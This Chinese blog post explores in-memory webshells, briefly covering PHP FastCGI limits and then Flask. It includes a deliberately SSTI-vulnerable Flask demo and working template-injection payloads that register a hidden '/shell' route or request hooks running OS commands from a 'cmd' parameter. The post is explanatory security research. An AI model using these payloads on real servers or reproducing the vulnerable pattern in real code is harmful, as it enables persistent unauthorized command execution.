python内存马浅探
前言
众所周知,Java内存马
的各种变种至今都是炙手可热的话题,无文件落地
,更高的隐蔽性
,不出网也可利用
等特性使得每次Java
内存马的新特性都备受关注。因此之前走在路上,我就在想为什么比较广为人知的内存马只有Java
,却没有见到过Python PHP
的内存马呢?很多人都会说PHP不死马
,但是这种木马并不算是内存马,而且也并没有内存马的特性,甚至乎它并不好用,会有大量的文件生成。这种想法只是闪过了一下,我并没有去细搜这些东西。直至看到了论坛的文章,才去简单了解了下这些东西,因此写了以下的文章。
关于PHP内存马
网上对真正的PHP
内存马的研究极少,PHP
作为一种应用程序占比比较多的语言,没有人研究这种手段显然是存在某些原因的,直至看到了以下的这篇文件,方才恍然大悟。PHP内存马从这篇文章中,我们可以获取到关键的原因就是由于 PHP 语言的特性,一次执行生命周期,通常就是伴随着请求周期开始和结束的。因此,很难完成一段代码的内存长久驻留
。
文中提到了一种马叫Fastcgi马
,这种马也是我第一次听到,文章中展示了几点关键的信息。
- 根本原因:
PHP-FPM
可采用FastCGI
进行通信,这种通信的交互主要通过webserver
与fcgi
进程相互完成,webserver
接收到动态请求后,通过fcgi
协议转发给fcgi
进程,由fcgi
进程处理并且返回结果。由于开发者的疏忽导致fcgi
被绑到了任何人都能访问的地方或者fcgi
并没有指定一个webserver
的通信,导致了可以伪造webserver
与fcgi
进行通信,执行脚本命令。 - 缺陷:纠其原因,那就是一个未授权访问的漏洞,当
fcgi
不暴露到公网或者指定了webserver
的访问授权限制,这种漏洞就不可行了,而且这一种木马也不能算是内存马,它只是通过伪造通信完成了命令执行。
但是事实上文章中提到了一个真正FPM
内存马的思路,那就是通过PHP_ADMIN_VALUE
修改php配置
,使得FPM
进程中被保留下来,文中提到的主要利用方式是auto_prepend_file
这个配置,配置的解析如下:
auto_prepend_file
是PHP.ini
配置文件中的一个选项,用于指定一个文件的路径。这个文件会在PHP
程序的每个PHP
文件之前被自动包含(即预先加载)。这个选项的作用是在PHP
文件执行之前,自动将指定的文件内容插入到PHP
程序的开头处。简单来说,通过这个配置配一段代码,能使得任何任何php
文件执行前都会自动触发配置的代码。
通过这种fastcgi
请求的伪造修改这样的配置完成了内存马的注入,但事实上这种内存马也还是依赖于能够在于fcgi
通信时能够伪造fastcgi
通信达到这种效果,限制依旧比较大,并不像JAVA
那样。
总结来说:php内存马
由于PHP
的特性,导致了很难使得某段代码长期在内存中逗留,并且fastcgi
本身以及php
版本更迭,各种限制很多很多,导致了并不实用。
Python内存马
由于Python
语言的定位,因此绝大部分的应用程序主要编程语言都并不会采用Python
,因此Python
内存马的攻击也就没有可用之处了。但是这种Django、flask
内存马确实是存在的。这与Java
语言事实上是有点相似的,理论上来说,当能够通过一些函数等方式注册路由并且控制路由中的处理,就能够制造出内存马。flask
中确实有这些可利用的东西。
关于内存马的注入方式,在Java
语言中,内存马的注入主要是通过反序列化漏洞
完成的,而在Python
语言中,虽然pickle、yaml
等依赖包在配置不当的时候会存在反序列化的问题,但Python
更容易注入内存马的应该是模板注入
。
关于ssti注入
的参考文章:
链接:SSTI注入利用姿势合集
首先构造一个存在模板注入
的demo,主要是构造动态的模板渲染,代码如下:
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/')
def index():
name = 'guest'
if request.args.get('name'):
name = request.args.get('name')
template = '<h1>%s</h1>' % name
return render_template_string(template)
if __name__ == '__main__':
app.run(port=8888)
那么接下来对于存在ssti
注入漏洞后,我们应当的通过模板注入的注册路由
,又或者说是拦截器
、过滤器
等可控制的东西。在flask
低版本中存在着add_url_rule
函数用于动态将URL规则与视图函数绑定在一起,基本语法如下:
app.add_url_rule(rule, endpoint=None, view_func=None, **options)
其中rule
就是访问路由的路径,view_func
就是URL对应的处理函数。
所以整个注入的payload可为:
request.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})
关于_request_ctx_stack
,这是flask
框架中的全局变量,这个变量用于存储请求的上下文对象,Flask
能够在任何时候通过这个栈结构获取当前请求的上下文,从而允许在处理请求时访问请求相关的信息。
但是问题在于高版本的Flask
中,当你再执行这个payload
会出现如下的报错信息。
AssertionError: The setup method 'add_url_rule' can no longer be called on the application. It has already handled its first request, any changes will not be applied consistently.
Make sure all imports, decorators, functions, etc. needed to set up the application are done before running it.
原因是因为在_check_setup_finished
函数中,会对应用进行标记设置完成,当设置完成后,应用对象将不可再进行修改,也就是add_url_rule
不能在app
中再被调用。
为了解决这个问题,有师傅将目标放在了一些类似于拦截器
,中间件处理器
当中,比如before_request
、after_request
、teardown_request
这三个上面,分别的作用如下:
@app.before_request
用于注册一个函数,在每次请求处理开始前执行。这个函数可以用来执行一些预处理工作,例如设置一些全局变量、验证请求等。它在请求处理上下文中被调用。@app.after_request
用于注册一个函数,在每次请求处理完成后执行,它在请求处理成功完成后执行,而不管请求处理过程中是否发生了异常。这个函数可以用来对响应进行处理,它在请求处理上下文中被调用。@app.teardown_request()
用于注册一个函数,该函数在每次请求处理完成后执行。它通常用于清理工作,例如关闭数据库连接、释放资源等。这个函数可以访问请求处理过程中创建的任何对象,因为它在请求处理上下文中被调用。
从它们的源码中可以看到它们最终调用的处理函数分别是before_request_funcs.setdefault(),after_request_funcs.setdefault(), teardown_request_funcs.setdefault()
。
因此我们可以获取到如下的payload
:
{{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: mem if request.args.get('cmd') and exec(\"global mem;mem=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})}}
当存在请求的参数cmd
时候,就会对传入的cmd
执行系统命令,至于最后==None
是恒等于的,exec
不会返回命令执行的结果,最终命令执行的结果会通过make_response
赋值给全局变量mem
,最终通过setdefault
添加到匿名函数resp
中。
其它的也是一致的:
{{url_for.__globals__['__builtins__']['eval']("app.before_request_funcs.setdefault(None,[]).append(lambda :__import__('os').popen('whoami').read())",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})}}
{{url_for.__globals__['__builtins__']['eval']("app.teardown_request_funcs.setdefault(None, []).append(lambda resp: mem if request.args.get('cmd') and exec(\"global mem;mem=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})}} #无回显
总结
PHP的内存马由于PHP
语言的特性,包括生命周期、共享内存限制等导致一段代码难以长久在内存当中,而flask
的内存马其实与Java内存马
的思路相似,通过代码的方式注册路由、注册一些拦截器等等完成内存马的执行。
参考文章:
Python内存马的研究
文章标题:python内存马浅探
文章链接:https://aiwin.fun/index.php/archives/4409/
最后编辑:2024 年 5 月 13 日 15:13 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)